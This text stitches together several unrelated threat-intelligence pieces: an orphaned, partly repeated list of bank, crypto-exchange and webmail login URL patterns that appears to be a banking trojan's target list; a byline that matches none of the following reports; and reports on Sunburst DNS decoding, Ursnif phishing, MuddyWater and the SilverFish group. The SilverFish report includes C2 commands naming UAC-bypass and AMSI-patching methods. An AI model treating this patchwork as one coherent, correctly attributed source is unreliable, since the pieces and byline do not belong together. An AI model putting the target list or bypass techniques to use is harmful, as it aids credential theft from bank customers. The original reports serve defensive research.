https://kunden.commerzbank.de/banking/* - https://www.bv-activebanking.de/* - https://meine.deutsche-bank.de/trxm/* - https://banking.spard*de/spm/* - https://banking.fidor.de/* - https://*.bluewin.ch/*/main_swissco* - https://home.navigator.gmx.net/home/show* - https://*.gmx.net/mail/* - https://outlook.live.com/* - https://mail.tecnocasa.it* - https://mail.vianova.it* - https://mail.yahoo.* - https://mail.google.* - https://mail.one.com/* - https://icb.mps.it/av1/cbl/exec/* - https://*/de/home/misc/break.html?08X26/* - https://m.mail.tim.it* - https://moj.raiffeisenpolbank.co* - https://login.ingbank.pl/mojeing/* - https://www.neobank24.pl/ebank/st* - https://*.pl/* - https://www.centrum24.pl/centrum24-web/* - https://pocztowy24biznes.pl/* - https://bitbay.ne* - https://bittrex.com/* - https://poloniex.com/* - https://ebusinessbank.db-pbc.pl/* - https://www.e25.pl/* - https://e-skok.pl/eskok/login* - https://secure.getinbank.p* - https://secure.ideabank.p* - https://portal.citidirect.com/portalservices/forms/* - https://login.portal.citidirect.com/portalservices/forms/* - https://e-bank.*agricole.p* - https://bosbank24.pl/corpo_web/auth/login* - https://*.bs*.pl/* - https://*bs.pl/* - https://*bs24.pl/* - https://ebo.*.pl/* - https://sgbon.sgb.p* - https://login.bgzbnpparibas.pl/* - https://ibiznes24.pl/* - https://korporacja.gb24.pl/* - https://biznes.toyotabank.pl/* - https://on.nestbank.pl/bim-webapp/nest/log* - https://plusbank24.pl/web-client/logi* - https://system.t-mobilebankowe.pl/web/logi* - https://www.ipko.pl* - https://*.pl/frontend-web/app/auth.* - https://login.nestbank.pl/log* - https://system.aliorbank.* - https://securecca.ing.it/* - https://nowbanking.credit-agricole.it/* - https://nowbankingprivati.cariparma.it/* - https://www.banking4you.it/* - https://www.bancagenerali.it/* - https://www.banking4you.it/*htm* - https://www.bancagenerali.it/*htm* - https://bancopostaimpresaon.poste.it/* - https://banking.bnl.it/* - https://banking.hellobank.it/* - https://www.gruppocarige.it/vbank/* - https://www.gruppocarige.it/wps/myportal/* - https://carigeon.gruppocarige.it/wps8ib/myportal/* - https://www.chebanca.it/portalserver/homebanking/* - https://www.chebanca.it/portalserver/* - https://www.credem.it/* - https://banking.credem.it/newvir/* - https://banking.bancaeuro.it/newvir/* - https://banking-imprese.credem.it/* - https://ibk.icbpi.it/* - https://business.bnl.it/bway* - https://ibk.icbpi.it/ibk/*id=pagamenti_WAR_webcontocutilitiesportlet* - https://ibk.icbpi.it/ibk/*id=internationalbeneficiary_WAR* - https://ibk.icbpi.it/ibk/*=* - https://ibk.icbpi.it/ibk/*/movimenti* - https://business.bnl.it/bway*=* - https://www.inbank.it/* - https://www.intesasanpaolo.com/ib/content/static/* - https://dbon.italy.db.com/portalserver/* - https://scrigno.popso.it/ihb/run* - https://bancoposta.poste.it/* - https://www.bancaprossima.com/script/* - https://www.intesasanpaoloprivatebanking.com/script/* - https://qweb.quercia.com/*.as* - https://www.relaxbanking.it/newrelax1/* - https://www.ubibanca.com/qu* - https://www.ubibanca.com/qui/nav/bonifico/* - https://www.ubibanca.com/logou* - https://youweb.bancobpm.it/WEBHT/* - https://youwebcard.bancopopolare.it/WEBHT/* - https://geb.bankaustria.at/* - https://mein.elba.raiffeisen.at/* - https://banking.raiffeisen.at/* - https://*.at/banking/* - https://ibanking.wsk-bank.at/* - https://ebanking.raiffeisen.ch/entry* - https://*.ch/authen/login* - https://kunden.commerzbank.de/banking/* - https://www.bv-activebanking.de/* - https://meine.deutsche-bank.de/trxm/* - https://banking.spard*de/spm/* - https://banking.fidor.de/* - https://*.bluewin.ch/*/main_swissco* - https://home.navigator.gmx.net/home/show* - https://*.gmx.net/mail/* - https://outlook.live.com/* - https://mail.tecnocasa.it* - https://mail.vianova.it* - https://mail.yahoo.* - https://mail.google.* - https://mail.one.com/* - https://icb.mps.it/av1/cbl/exec/* - https://*/de/home/misc/break.html?08X26/* - https://m.mail.tim.it* - https://moj.raiffeisenpolbank.co* This blog post was authored by Testa Davide, Martire Luigi, Antonio Pirozzi, Luca Mella of Cybaze-Yoroi Z-LAB.
# Sunburst: Connecting the Dots in the DNS Requests **Authors** Igor Kuznetsov Costin Raiu On December 13, 2020, FireEye published important details of a newly discovered supply chain attack. An unknown attacker, referred to as UNC2452 or DarkHalo, planted a backdoor in the SolarWinds Orion IT software. This backdoor, which comes in the form of a .NET module, has some really interesting and rather unique features. We spent the past days checking our own telemetry for signs of this attack, writing additional detections, and making sure that our users are protected. At the moment, we identified approximately 100 customers who downloaded the trojanized package containing the Sunburst backdoor. Further investigation is ongoing, and we will continue to update with our findings. Several things really stand out for this incident. This supply chain attack was designed in a very professional way – kind of putting the “A” in “APT” – with a clear focus on staying undetected for as long as possible. For instance, before making the first internet connection to its C2s, the Sunburst malware lies dormant for a long period, of up to two weeks, which prevents an easy detection of this behavior in sandboxes. Other advanced threat groups are also known to adopt similar strategies, for instance with hardware or firmware implants, which “sleep” for weeks or months before connecting to their C2 infrastructure. This explains why this attack was so hard to spot. One of the things that sets this apart from other cases is the peculiar victim profiling and validation scheme. Through the SolarWinds Orion IT packages, the attackers reached about 18,000 customers, according to the SolarWinds alert. Yet, out of these 18,000, it would appear that only a handful were interesting to them. Considering the fact that having the resources to manually exploit 18,000 computer networks is probably outside the reach of most if not all the attackers out there, this leads to the point that obviously some of those would have been a higher priority. Finding which of the 18,000 networks were further exploited, receiving more malware, installing persistence mechanisms, and exfiltrating data is likely going to cast some light into the attacker’s motives and priorities. In the initial phases, the Sunburst malware talks to the C&C server by sending encoded DNS requests. These requests contain information about the infected computer; if the attackers deem it interesting enough, the DNS response includes a CNAME record pointing to a second level C&C server. Our colleagues from FireEye published several DNS requests that supposedly led to CNAME responses on GitHub. **The Goal** Knowing that the DNS requests generated by Sunburst encode some of the target’s information, the obvious next step would be to extract that information to find out who the victims are! Our colleagues from QiAnXin Technology already published a Python script to decode the domain names. Unfortunately, that script cannot decode all the DNS requests; besides, it is always good to practice in reverse engineering anyway, so let’s look in the malware code. **TL;DR** Three of the requests from FireEye’s GitHub repository can be mapped to two domain names that belong to a government organization and a telecommunications company in the US. **Low-level Details** The sample we’ll be analyzing is 2c4a910a1299cdae2a4e55988a2f102e. All we need is a .NET decompiler (dnSpy is a good one). The logic that is interesting to us is located in OrionImprovementBusinessLayer.Update, which in turn calls one of the four functions: GetCurrentString, GetPreviousString, GetNextStringEx, and GetNextString. These four functions correspond to four different DNS-based communication methods. Now, to find out what kind of data is encoded in the DNS requests (the hostname variable), we need to look closer into each one of these functions. The first function GetCurrentString generates strings that contain a supposedly unique target’s identifier (this.guid), the target’s hostname (this.dnStrLower), and the rest of the hostname that will be in the form of “appsync-api.*.avsvmcloud[.]com”. The encoding of the data is done by the functions CreateSecureString and CreateString. The function GetPreviousString is bigger but produces a similar hostname for a DNS request. It includes a part of the target’s hostname in the request, so that it would match the limitations on the request length. Each such request also includes the sequence number (this.nCount) that is the offset of the current substring from the beginning of the hostname. The remaining two functions, GetNextStringEx and GetNextString, generate a different type of DNS requests. They include only the target’s UID, hashes of the running processes of interest, and (only in the Ex version) the list and status of these processes. The target’s UID is then encrypted, and the data is encoded with CreateSecureString. **The Problem** The encryption used in the malware is just a simple XOR operation, and the encoding is either a substitution cipher or Base32 with a custom alphabet. However, if we reverse the sequence of operations of GetPreviousString or GetCurrentString for the known CNAME DNS requests published by FireEye, the resulting strings don’t look like valid domain names! A possible explanation is that the requests were generated by the third or fourth communication methods, described as GetNextStringEx or GetNextString. Indeed, they can be decoded without errors, and the size of decoded data fits. However, these requests don’t have the target’s name included! **The Solution** At this point, a question arises – can we match any of the existing private and public DNS data for the malware root C2 domain, “avsvmcloud[.]com” with the CNAME records, to identify who was targeted for further exploitation? A list of SUNBURST-generated domain names that include the domain names were kindly shared by John Bambenek on GitHub. Here are a few such examples: - nnbggtlr1iv0v3vfnfaddfe.appsync-api.us-west-2.avsvmcloud[.]com - nq97kdu88pn1qpv8f3t5.appsync-api.us-east-1.avsvmcloud[.]com - nr2ia9qfa349b0q2oi60bou6iuir02rn.appsync-api.us-east-1.avsvmcloud[.]com We complemented John’s data with our own datasets as well as other publicly available pDNS databases. Each one of these DNS requests also has the Base32-encoded UID. Since the UIDs are also included in other types of requests (types 3 and 4) in encrypted form, this allows us to match the requests! The target’s UID is calculated in OrionImprovementBusinessLayer.GetOrCreateUserID by MD5-hashing the MAC address of the first online network adapter, then XORing it down to 64 bits. The DNS requests published by FireEye on their GitHub have the following encrypted UIDs inside: | DNS Request | UID (64 bit) | |-------------|--------------| | 6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud[.]com | 0xEED328E059EB07FC | | 7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud[.]com | 0x683D2C991E01711D | | gq1h856599gqh538acqn.appsync-api.us-west-2.avsvmcloud[.]com | 0x2956497EB4DD0BF9 | | ihvpgv9psvq02ffo77et.appsync-api.us-east-2.avsvmcloud[.]com | 0xF7A37335B9E57DDB | | k5kcubuassl3alrf7gm3.appsync-api.eu-west-1.avsvmcloud[.]com | 0xA46E6E874771323C | In total, we analyzed 1722 DNS records, leading to 1026 unique target name parts and 964 unique UIDs. Matching the two lists we got the following data: - domain name part(0x2956497EB4DD0BF9)=central.****.g - domain name part(0x2956497EB4DD0BF9)=ov - domain name part(0x683D2C991E01711D)=central.****.g - domain name part(0x683D2C991E01711D)=ov - domain name part(0xF7A37335B9E57DDB)=***net.***.com These steps effectively decoded 3 of the 6 CNAME records provided by FireEye into two possible domains: - ***net.***.com – a rather big telecommunications company from the US, serving more than 6 million customers - central.***.gov – a governmental organization from the US Please note that for ethical reasons, we do not include these exact domain names here. We notified the two organizations in question though, offering our support to discover further malicious activities, if needed. It should also be noted that there is no way to be sure that machines in these two domains were actually further exploited. This being a probabilistic puzzle, we can assume with a high degree of certitude the two decoded domains were interesting to the attackers; however, we cannot be 100% sure that associated organizations were the subject of further malicious activities. To summarize our research, the UIDs we discovered match two domain names that belong to a US government organization and a large US telecommunications company. It is likely that other interesting targets were selected by the attackers for further exploitation. If you happen to have access to large DNS databases, including CNAME replies for any subdomain in “avsvmcloud[.]com”, please let us know! (contact: intelreports (at) kaspersky [dot] com) In order to help the community to potentially identify other interesting targets for the attackers, we are publishing the source code for the decoder: https://github.com/2igosha/sunburst_dga Stay safe! **Sunburst / UNC2452 / DarkHalo FAQ** 1. **Who is behind this attack? I read that some people say APT29/Dukes?** At the moment, there are no technical links with previous attacks, so it may be an entirely new actor, or a previously known one that evolved their TTPs and opsec to the point where they can’t be linked anymore. Volexity, who previously worked on other incidents related to this, named the actor DarkHalo. FireEye named them “UNC2452”, suggesting an unknown actor. While some media sources linked this with APT29/Dukes, this appears to be either speculation or based on some other, unavailable data, or weak TTPs such as legitimate domain re-use. 2. **I use Orion IT! Was I a target of this attack?** First of all, we recommend scanning your system with an updated security suite, capable of detecting the compromised packages from SolarWinds. Check your network traffic for all the publicly known IOCs. The fact that someone downloaded the trojanized packages doesn’t also mean they were selected as a target of interest and received further malware, or suffered data exfiltration. It would appear, based on our observations and common sense, that only a handful of the 18,000 Orion IT customers were flagged by the attackers as interesting and were further exploited. 3. **Was this just espionage or did you observe destructive activities, such as ransomware?** While the vast majority of the high-profile incidents nowadays include ransomware or some sort of destructive payload, in this case, it would appear the main goal was espionage. The attackers showed a deep understanding and knowledge of Office365, Azure, Exchange, Powershell and leveraged it in many creative ways to constantly monitor and extract e-mails from their true victims’ systems. 4. **How many victims have been identified?** Several publicly available data sets, such as the one from John Bambenek, include DNS requests encoding the victim names. It should be noted that these victim names are just the “first stage” recipients, not necessarily the ones the attackers deemed interesting. For instance, out of the ~100 Kaspersky users with the trojanized package, it would appear that none were interesting to the attackers to receive the 2nd stage of the attack. 5. **What are the most affected countries?** To date, we observed users with the trojanized Orion IT package in 17 countries. However, the total number is likely to be larger, considering the official numbers from SolarWinds. 6. **Why are you calling this an attack, when it’s just exploitation? (CNA vs CNE)** Sorry for the terminology, we simply refer to it as a “supply chain attack”. It would be odd to describe it as a “supply chain exploitation”. 7. **Out of the 18,000 first stage victims, how many were interesting to the attackers?** This is difficult to estimate, mostly because of the lack of visibility and because the attackers were really careful in hiding their traces. Based on the CNAME records published by FireEye, we identified only two entities, a US government organization and a telecommunications company, who were tagged and “promoted” to dedicated C2s for additional exploitation. 8. **Why didn’t you catch this supply chain attack in the first place?** That’s a good question! In particular, two things made it really stealthy. The slow communication method, in which the malware lies dormant for up to two weeks, is one of them. The other one is the lack of x86 shellcode; the attackers used a .NET injected module. Last but not least, there was no significant change in the file size of the module when the malicious code was added. We observed two suspicious modules in 2019, which jumped from the usual 500k to 900k for SolarWinds.Orion.Core.BusinessLayer.dll. When the malicious code was first added, in February 2020, the file didn’t change size in a significant manner. If the attackers did this on purpose, to avoid future detections, then it’s a pretty impressive thing. 9. **What is Teardrop?** According to FireEye, Teardrop is malware delivered by the attackers to some of the victims. It is an unknown memory-only dropper suspected to deliver a customized version of the well-known CobaltStrike BEACON. To date, we haven’t detected any Teardrop samples anywhere. 10. **What made this such a successful operation?** Probably, a combination of things – a supply chain attack, coupled with a very well thought first stage implant, careful victim selection strategies, and last but not least, no obvious connections to any previously observed TTPs.
# Attackers Insert Themselves into the Email Conversation to Spread Malware The “never get gifts from strangers” rule applies for suspicious email attachments as well as enterprises and SMBs alike educate their employees about the dangers lurking in cyberspace. One of the most popular threats is malware delivered by email with a malicious document attached to it. The increasing awareness of this type of attack results in a negative impact on the success ratio of massive phishing campaigns; however, cybercriminals are adapting. This short blog post provides an example of advanced tactics that adversaries use in such campaigns to overcome these challenges. ## Leveraging Existing Trust The rule “never accept gifts from strangers” applies to many settings, including suspicious email attachments. But what if you recognize the sender? Moreover, the attachment is a part of an existing email thread? A recent campaign the attacker leveraged a previously compromised email account belonging to an employee of a prominent Chamber of Commerce. The adversary sent generic responses to existing threads, attaching a malicious Microsoft Office document. Abusing compromised trusted senders is a powerful persuasion tactic, which greatly increases the chances of opening the malicious attachment even by a trained recipient. Below is one of the messages sent during this attack. Most of its contents are authentic, but the last reply was appended by the attacker. The attachment is a malicious document prompting the victim to allow macro execution. The malicious macro is comprised of two modules: the first decodes an embedded command and the second executes it using the Shell function. The command itself has another layer of obfuscation, which was added by the publicly available tool Invoke-DOSfuscation. Decoding this results in a simple, typical PowerShell script, which downloads an executable Windows binary from a remote website. The payload in this case was a Gozi ISFB/Ursnif malware, capable of stealing sensitive data from a victim. Moreover, once the attackers compromised the victim’s machine, they might use it to launch future similar campaigns. ## Prevented by Minerva In this case, attackers were trying to evade “human detection” by leveraging clever social engineering techniques and “machine detection” (i.e., evading security products) by obfuscating the downloader and payload. Minerva’s Malicious Documents Protection capabilities prevent this evasive threat and provide useful data to SOC and IR teams, capturing the full context of the attack. To better understand this type of attack, watch our webinar: Why Do Malicious Office Documents Keep Infecting Me? ### IOC **Document (SHA256):** 460073875b11a5c8f1f0fe4ecf4967d0c90d066867b5ca57fd2a25df6bc384c0 **Executable Payload (SHA256):** ae6ca8aab5bbd5ff08915011c6c773808a37440d805bdff247ebac9a5d060631 **URLs:** hxxp://tapertoni[.]com/Flux/tst/index[.]php?l=ab1[.]tkn (analyzed sample) hxxp://tapertoni[.]com/Flux/tst/index[.]php?l=ab2[.]tkn hxxp://tapertoni[.]com/Flux/tst/index[.]php?l=abc1[.]tkn hxxp://nesocina[.]com/Flux/tst/index[.]php?l=abc1[.]tkn hxxp://nesocina[.]com/Flux/tst/index[.]php?l=abc2[.]tkn hxxp://nesocina[.]com/Flux/tst/index[.]php?l=abc3[.]tkn
# MuddyWater Targets Middle Eastern and Asian Countries in Phishing Attacks Cisco Talos has illustrated the ways in which the Iranian-backed hacker group has attempted cyberattacks against various countries. Iranian APT supergroup MuddyWater has been identified as the hackers linked to attempted phishing attacks against Turkey and other Asian countries according to findings published by Cisco Talos. The conglomerate, which has been linked to Iran’s Ministry of Intelligence and Security by the U.S. Cyber Command, has now been identified as multiple different subgroups acting under the name of MuddyWater rather than one unified threat actor. ## How and When the Cyberattacks Happened The hacker group has reportedly been targeting these countries using a Windows script file (WSF) based remote access trojan (RAT) deemed “SloughRAT” by Cisco Talos. Using this form of malware, MuddyWater has attempted to conduct espionage, steal intellectual property, and commit ransomware attacks against countries in the Arabian Peninsula. The malicious actors attempted two campaigns against Turkey in November 2021 and targeted Armenia in June of the same year using the same types of Windows executable files. In April 2021, Cisco Talos observed that this group also launched an attack against Pakistan via two different delivery systems – one employing a PowerShell-based downloader to accept and execute additional PS1 commands from the C2 server and another using malware document infection that claimed to be part of a court case in Pakistan. The group, also known as “MERCURY” or “Static Kitten,” has been active since at least 2017 and is known for utilizing ransomware in their previously attempted attacks. According to the cybersecurity firm, the threat group has been known to use domain name system (DNS) attacks on its intended victims by using PowerShell, Visual Basic, and JavaScript scripting along with living-off-the-land binaries (LoLBins) and remote connection utilities to assist in the initial stages of the infection. ## MuddyWater as a Collection of Groups According to Cisco Talos’ findings, the hacking group’s variety of lures and payloads, along with the targeting of several different geographic regions, strengthens the hypothesis that MuddyWater is a conglomerate of sub-groups rather than a single actor. The cybersecurity firm believes that the hacking group is a combination of smaller teams targeting specific regions such as the Arabian Peninsula and Asia utilizing different types of attacking techniques. While MuddyWater is incorporated by smaller sub-groups, Cisco Talos believes that some of these teams are contracted out for attacks by the leaders and organizers of MuddyWater. One reason for this belief is that there have been unique strings and watermarks identified as being shared between MuddyWater and the Phosphorus/Charming Kitten APT groups. These shared techniques among these smaller teams are seemingly preferred by threat actors in certain regions, making them identifiable as not belonging to the same areas as other attacks by the collective. The two preferred methods of attacks highlighted by the cybersecurity firm were the SloughRAT Windows executable file and the Ligolo reverse tunneling tool, which was used against Middle Eastern countries in March 2021. ## How to Secure Yourself and Your Business While this hacker group has been specifically targeting regions and countries throughout the world, cyber threats remain an important consideration for both individuals and organizations. It is important to be ready with both antivirus software and thorough training to ensure that systems have not been compromised and employees are aware of the online risks to avoid being victimized.
# SilverFish APT Group Threat Actor Report ## 1 Introduction The PRODAFT Threat Intelligence (PTI) team discovered a highly sophisticated group of cybercriminals targeting exclusively large corporations and public institutions worldwide, with a focus on the EU and the US. Despite refraining from making any attribution, we strongly believe that this case will become an important benchmark in terms of understanding the capabilities of advanced persistent threat (APT) actors, their RoE, operation, and TTPs. The report will shed light on one of the world’s most notorious cybercriminal organizations in history. In this report, we were able to analyze various servers and samples allowing us to link the SilverFish group with the infamous SolarWinds attacks, which became public around December 2020. Moreover, the PTI Team has uncovered that the same servers were also used by EvilCorp (aka TA505), which modified the TrickBot infrastructure for the purpose of a large-scale cyber espionage campaign. EvilCorp is known to be responsible for the development and distribution of the Dridex and WastedLocker malware. Although there were numerous articles and technical reports published about the SolarWinds attacks and the EvilCorp group, it must be noted that this report is the first report which focuses on findings behind enemy lines. Therefore, in this report, we present findings from the group’s infrastructure that we believe will help other researchers understand the technical complexity of the SilverFish group’s attacks and detect similar patterns in the future. This report contains the findings from the C&C server, command statistics, infection dates, targeted sectors and countries, tools used during the attacks, executed commands, and other information regarding the group’s TTP. The report is structured as follows: In the following subsection (1.1), we present the timeline of our investigation. In Section 2, we provide an executive summary of our research. In Section 3, a comprehensive technical analysis of the attacks is performed to identify motivation, capability, and background of the group. In Section 4, we offer several statistics regarding the attack campaign. In Section 5, we conclude with some guidance for future research. IOCs and references are also provided at the end of the report. ## 1.1 Investigation Timeline **DECEMBER '20:** Following the disclosure of the SolarWinds attack in December 2020, one of our clients from the financial sector submitted an analysis request from our U.S.T.A. Threat Intel platform and requested a detailed investigation of the breach. Under the scope of this investigation, we started with the public IOCs published by FireEye. Based on one of the domains, it was possible for the PTI Team to create a unique fingerprint of one of the online servers by using multiple metrics. During the next phase, the PTI Team searched all IPv4 range globally to find a matching fingerprint, resulting in positive detections within 12 hours of the scan. Combining and interpreting these findings into a corporate case report in the same month, we provided our client with a detailed case report and notified all of our members about the fact that our investigation will continue on a much larger scale. **JANUARY '21:** At a later stage, the PTI Team enriched its fingerprint/identifier data and started performing retrospective queries on previous global IPv4 scans archived from past cases. This is a standard practice for the PTI Team as we monitor several high-profile APT groups and produce internal reports on a daily basis under the purview of U.S.T.A. TI operations. **FEBRUARY '21:** Based on our findings from the previous months (Nov '20 to Feb '21), the PTI Team performed a final scan that led to several other fundamental findings. The PTI Team had to overcome different technical challenges to analyze and successfully de-anonymize C&C servers of this operation. Throughout February 2021, the PTI Team has worked on different C&C servers to fully understand/identify the attackers’ motives. Following each discovery, individual IOC notifications were created and sent to members of the U.S.T.A. platform to enable a swift remediation. **MARCH 1ST-7TH, '21:** Since the beginning of March '21, the PTI Team has started notifying victims through law enforcement agencies, strategic partners, and CERTS/CSIRTS in the regions which are affected by the SilverFish Group. Detailed IOCs and brief reports have been published to all applicable parties during this term as a public responsibility. In each of these notifications, the PTI Team has been extremely cautious about preserving each organization’s privacy and confidentiality. **MARCH 15TH, '21:** The final report was approved by our advisory board and an initial private version was shared with Polcant (Vaud Cantonal Police Cybercrime Division - Switzerland) to engage the relevant law enforcement authorities. **MARCH 17TH, '21:** On March 17th 2021, the PTI Team published the “Public Release” version of the report to further enlighten several organizations who continue to be targeted by SilverFish. As of the issue date of this report, SilverFish actors are still using relevant machines for lateral movement stages of their campaigns. Unfortunately, despite being large critical infrastructures, most of their targets are unaware of the SilverFish group’s presence in their networks. ## 2 Executive Summary ### 2.1 Overview The Executive Summary section of this report is provided to draw a non-technical executive outline of the SilverFish group, which was found to have carried out an extremely sophisticated cyber-attack on at least 4720 targets, including but not limited to governmental institutions, global IT providers, the aviation industry, and defense companies. Detected to have multiple relations with the notorious SolarWinds incident of the past quarter and the globally recognized EvilCorp group, we believe this case to be an important cornerstone in terms of understanding capabilities of organized threat actors. Please note that all the matters mentioned herein will be explained in further technical detail in the later sections of this report. This report includes various discoveries related to an extremely well-organized cyber-espionage group which are thought to have strong ties with notorious Solarwinds, EvilCorp and TrickBot attacks that compromised several states and critical infrastructures. We believe our findings will reveal several previously-unknown tools, techniques and procedures related to one of the most high-profile APT groups in history. ### 2.2 The PTI Team’s Investigation Following the infamous SolarWinds attack that peaked on December 2020, the PTI Team has started working on multiple initial leads from public resources related to the disclosed attack. After detecting an online domain (databasegalore.com) from previously published IOCs, it was possible for the PTI Team to further analyze the incident and find yet-to-be-discovered C&C servers by means of large-scale network scans. This enabled the PTI Team to access the management infrastructure (i.e., the C&C server) of the SilverFish group and to acquire further information about the group’s modus operandi including but not limited to IPs and usernames of the victims, commands executed on the victims’ machines, activity time of the SilverFish group, comments written for each victim, all victims which publicly admitted/rumored being targeted by SolarWinds attacks and prioritization of operations within the C&C panel. Some of the notable victims are as follows: - A three-letter US Agency - A globally recognized US military contractor - At least 5 globally leading IT manufacturers and solution providers - Multiple top-tier automotive manufacturing groups from Europe - Multiple aviation and aerospace manufacturing/R&D companies - Dozens of banking institutions from the US and the EU with millions of client portfolios - Public Health Departments from Multiple Regions - More than three Police Networks - Several Airport Systems in Europe - Dozens of US public institutions, including 3 which have already admitted being hacked - 3 of the world’s largest auditing/consulting groups - At least 4 Globally recognized IT security vendors - A globally recognized pharmaceutical company - A global organization comprised of 193 countries - One of the world’s leading COVID-19 testing kit manufacturers ### 2.3 Characteristics of the SilverFish Group **Advanced Post-Exploitation Skillset:** Executed commands and specially crafted scripts used by the SilverFish group strongly indicate sophistication and an advanced post-exploitation skillset. There are multiple attempts for pivoting to internal systems on critical infrastructure after the initial domain enumeration of victims. **Exclusively Targeting Critical Infrastructures in the US and EU:** Following a detailed inspection on the C&C panel, the PTI Team has seen that the SilverFish group has exclusively targeted critical infrastructures. Nearly all critical infrastructures (as defined in the NIST CyberSecurity Framework) have been successfully compromised. Approximately half of the victims were witnessed to be corporations which have a market value of more than 100 million USD, as per their public financial statements. While the United States is by far the most frequently targeted region, with 2465 attacks recorded, it is followed by European states with 1645 victims originating from no less than 6 different member states. **Focus on Recon and Covert Data Exfiltration:** Upon analyzing the custom scripts and tools created by the SilverFish group, the PTI Team came to the conclusion that the main goal of this APT group is most likely to perform reconnaissance and exfiltrate data from target machines in a covert manner. **Using Enterprise Victims as a Real-Life Sandbox:** The PTI Team has observed that the SilverFish group has designed an unprecedented malware detection sandbox formed by actual enterprise victims, which enables the adversaries to test their malicious payloads on actual live victim servers with different enterprise AV and EDR solutions, further expanding the high success rate of the SilverFish group attacks. **Highly Organized Working Patterns:** Another interesting finding was the level of hierarchy in the C&C server, enabling management of different targets, assignment of these targets to different groups and triaging incoming victims to appropriate SilverFish group members. **Working in Strict Shifts:** As discussed in 4.3, the PTI Team has also gathered data about the working habits of the SilverFish group. Upon careful inspection, it was discovered that the group has worked according to a specific timeline: namely, between the hours of 8:00 AM and 8:00 PM (UTC). Additionally, the group was observed to be far more reactive on weekdays, Monday through Friday. **Other Possible Campaigns Against Different Regions:** As explained throughout the report, our discoveries involving SilverFish were exclusively related to the US and EU. That said, there may be other ongoing operations targeting other parts of the world. We base this assumption on the fact that the SilverFish group is observed to be extremely organized and capable of enacting the exact same structure for other regions of interest. ## 3 Technical Analysis This section contains the TTP analysis of the SilverFish threat group including the C&C infrastructure, traffic distribution system, post-exploitation steps, and malware detection sandbox (we named it as Victim Total Sandbox). ### Domain Information | Domain | IP Address | AS Name | |-----------------------|-----------------|------------------| | databasegalore.com | 5.252.177.21 | MivoCloud SRL | At the beginning of our investigation into the SolarWinds hack, the PTI Team started analyzing the IOC data released by FireEye. Among the published domain names, databasegalore.com was the only one accessible during the investigation. The host server also contained an active PowerMTA service on port 2304. After performing web directory fuzzing, another file (example.php) has been identified by the PTI Team. ### C&C Analysis The C&C panel of the SilverFish attackers is designed in a very minimalist way. The main dashboard only contains the infected victims, generic comment section for each victim and several options for filtering the victims. During the C&C server analysis, the PTI Team noticed that one of the filter options was called “Active team.” This could indicate that the SilverFish is working systematically with multiple teams. Additionally, the victim comments include many English and Russian slang words. The victim details page contains the following information about the victim and the list of executed tasks: - ID - UUID - Instance - IP - Country - Domain/User@Computer - OS - Build - Architecture - Antivirus - IsAdmin - Integrity Level - UAC Setting - Consent Prompt Behavior Admin - Prompt On Secure Desktop - First visit - Last visit The available commands inside the victim details page are listed below. Every command contains a brief explanation of the action to be executed; the explanatory comments clearly show the sophistication of the SilverFish group’s TTP. - Spawn new shell session (port 443) - Spawn new shell session (port 80) - Spawn new shell session (port 25) - Spawn new shell session (port 110) - Spawn new shell session (port 143) - Spawn new shell session (port 443) (+amsi.dll patch WIN10 ONLY) - Spawn new shell session (port 443) (+amsiInitFailed=true WIN10 ONLY) TEST - Spawn new bot instance - Spawn new bot instance elevated (slui, build>=9600, WIN8.1, WIN10) powershell required + console shown. Blocked by WD - Spawn new bot instance elevated (eventvwr, WIN7, WIN8.1) - Spawn new bot instance elevated (sdclt, build>=14393, WIN10) WD alert, instance dies, still works - Execute beacon - Execute exe file with cmd - Upload file TEMP - Upload file ProgramData - Download file from bot (specify file path) traffic not encrypted! - Execute command with cmd - Execute command with cmd (RUNAS) - Execute command elevated (fodhelper, build>=10240), full path, no output returned - Execute command elevated (computerdefaults, build>=10240), full path, no output returned - Execute command elevated (slui, build>=9600), full path, no output returned, powershell required + console shown. if failed, needs manual reg cleanup - Execute command elevated (sdclt, build>=14393), full path, no output returned, WD alert, executes, instance dies - Execute command elevated (eventvwr, build>=7600 && build <15031), full path, no output returned - Execute command elevated (compmgmtlauncher, build>=7600 && build <15031), full path, no output returned - Detection trigger (ps1) (test) - Detection clean (ps1) (test) - Syntax error (ps1) (test) - Kill bot The available commands allow the threat actors to spawn shells on ports; 443, 80, 25, 110, 143 with the ability to bypass AMSI protection via DLL patching. ### Post-Exploitation Analysis After analyzing the executed victim tasks inside the command and control server, the PTI Team obtained lots of details about the SilverFish group’s post-exploitation TTP. We were also able to link our fingerprint which was extracted from one of the SolarWinds IOCs with an IP listed as a second-stager within the C&C panel. The executed tasks paint a clear picture of the motive, targets and priorities of these sophisticated attackers. After gaining initial foothold over the system, the SilverFish group uses publicly available red teaming tools such as Empire, Cobalt Strike, Koadic loaders, and, in several cases PowerSploit and Mimikatz post-exploitation PowerShell scripts. Additionally, there are lots of specially crafted PowerShell, BAT, CSPROJ, JavaScript and HTA files that are mainly used for enumeration and data exfiltration. ### Victim Total Sandbox One of the most shocking discoveries of the PTI Team was a web panel for testing the malicious payloads over a list of actual victim devices with enterprise EDR and AV solutions. The SilverFish attackers were using this system to periodically test their malicious payloads on more than 6000 victim devices, scripts, and implants. The following images contain the list of victims with various different enterprise security solutions. The top section includes brief information about the malicious file that is being scanned periodically and at the right-most column there are scanning results gathered from the security solutions of victims’ devices. If the uploaded file gets a different detection result, the website notifies the logged-in user. This feature indicates that SilverFish group members are tracking the detection rate of their payloads in real-time. The PTI Team also noticed two payloads uploaded to the file detection sandbox panel, one of which is named buildus9_3.ps1 and the other build_eu.ps1. This could mean that the SilverFish group is targeting the US and EU with specially crafted payloads. | File Name | MD5 Hash | |--------------------|--------------------------------------| | build_eu.ps1 | f43f16e900ed0c70062951d226081b8e | | buildus9_3.ps1 | 7982b08be78ee4136efd89b06941f75c | ### Conclusion The SilverFish group represents a significant threat to critical infrastructures and organizations worldwide. Their sophisticated techniques and organized operations highlight the need for enhanced cybersecurity measures and awareness. Continued monitoring and research into their activities will be essential for mitigating their impact and protecting vulnerable systems.
